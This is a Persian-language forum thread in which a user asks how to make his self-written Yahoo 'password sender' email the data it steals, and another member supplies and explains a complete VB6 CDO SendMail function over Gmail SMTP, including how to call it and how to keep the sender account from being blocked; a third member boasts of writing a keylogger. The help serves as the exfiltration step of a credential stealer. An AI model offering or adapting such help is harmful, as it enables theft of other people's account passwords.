کمک :: ارسال ایمیل ::

[Nariman619]

سلام به همه دوستان عزیز , من یک پسورد سندر واسه یاهو نوشتم و نمیدونم چطور میشه اطلاعاتی رو که سرور برنامه من میدزده رو به ایمیل بفرسته؟ کسی میدونه چیکار باید کرد؟ ممنون

[CRazYFULL]

بايد تو سايت سرچ کرد

[Mr.pRoGraMmer]

سلام اگر پسورد سندرت واسه یاهو 9 هست باشه بده سورسشو
منم واست فرستادن اطلاعات از طریق ایمیل را برات مینیویسم.

[محمد حسینی]

کد:

Public Function SendMail(strSender As String, strPassword As String, strSmtp As String, strReciever As String, strSubject As String, strAttach As String, strBody As String) As Boolean
On Error Resume Next
Dim iMsg, iConf, Flds
Dim schema As String
    If strSender <> "" Or strPassword <> "" Then
        On Error GoTo Handler
        
        Set iMsg = CreateObject("CDO.Message")
        Set iConf = CreateObject("CDO.Configuration")
        Set Flds = iConf.Fields
        
        ' send one copy with Google SMTP server (with autentication)
        schema = "http://schemas.microsoft.com/cdo/configuration/"
        Flds.Item(schema & "sendusing") = 2
        Flds.Item(schema & "smtpserver") = strSmtp
        Flds.Item(schema & "smtpserverport") = 465
        Flds.Item(schema & "smtpauthenticate") = 1
        Flds.Item(schema & "sendusername") = strSender
        Flds.Item(schema & "sendpassword") = strPassword
        Flds.Item(schema & "smtpusessl") = 1
        Flds.Update
    
        With iMsg
            DoEvents
            .To = strReciever
            .From = strSender
            .Subject = strSubject
            .HTMLBody = strBody
            .Sender = strSender
            .Organization = "S.M.B Productions"
            .ReplyTo = strSender
            If strAttach <> "" Then
                .AddAttachment (strAttach)
            End If
            Set .Configuration = iConf
            .Send
        End With
        
        SendMail = True
        Set iMsg = Nothing
        Set iConf = Nothing
        Set Flds = Nothing
        Exit Function
    End If
    
Handler:
    SendMail = False
End Function

[Nariman619]

ممنون فقط میشه یک کمی توضیح بدین..

[محمد حسینی]

تابع برای ارسال میل نوشته شده.

پارامتر اول و دوم آدرس ایمیل و پسورد فرستنده که باید gmail باشه.
سومی آدرس smtp جیمیل یعنی smtp.gmail.com
چهارمی آدرس گیرنده
پنجمی subject !
شیشمی رو خالی بذار !
هفتمی هم متنی که می خوای بفرستی.

البته الان نمی دونم چطوریه ! شاید چندتا میل بفرستی حساب بسته بشه ! هر چند وقت یه بار میل فرستده رو تو جی میل باز کن که مسدود نشه !

[Nariman619]

من میخوام اطلاعات رو در داخل پارامتر ها قرار بدم برنامه اجازه نمیده و کل کد ها رو قرمز میکنه...چی کار کنم؟

[محمد حسینی]

مطمئنی اون پسورد سندر رو خودت نوشتی !
نمی دونم چطوری بگم !
این کدها رو کپی کن تو یه ماژول و بعد تابع رو صدا کن!
بنویس SendMail و یه پرانتز باز کن و پارامترها رو پر کن . . .

[Mr.pRoGraMmer]

سلام عجیبه که شما پسورد سندر نوشتید من کاری ندارم رو یاهو مسنجر 9 فقط جواب بده دیگه مشکلی نیست.
شما سورس برنامتو بزار یا واسم پیغام خصوصی بفرست منم ایمیلش را واست مینیویسم.
به همین راحتی ! ! !

[Nariman619]

دوست عزیز من چرا باید سورس برنامه شخصی خودم رو به شما 2 دستی تحویل بدم؟ مشکلم حل شد !

[Mr.pRoGraMmer]

سلام
مشكلتون حل شد خدا رو شكر
من كيلاگر نوشتم هر جور پسووردي را كه بخوام ميزنم
چرا شما بايد 2 دستي تقديم من كنيد؟
شايد خود خواهي باشه اما من هر وقت اطلاعات ميدم اطلاعات ميگيرم
حتا اگر طرف هم نخواد يه سري چيزها بهش ميگم
2 ميخواستم بيبينم اين چيزي كه نوشتيد رو ياهو 9 جواب ميده يا نه
اينم تو يكي از فروم پيدا كردم
لازم نكرده نيازي به سورس شما نيست.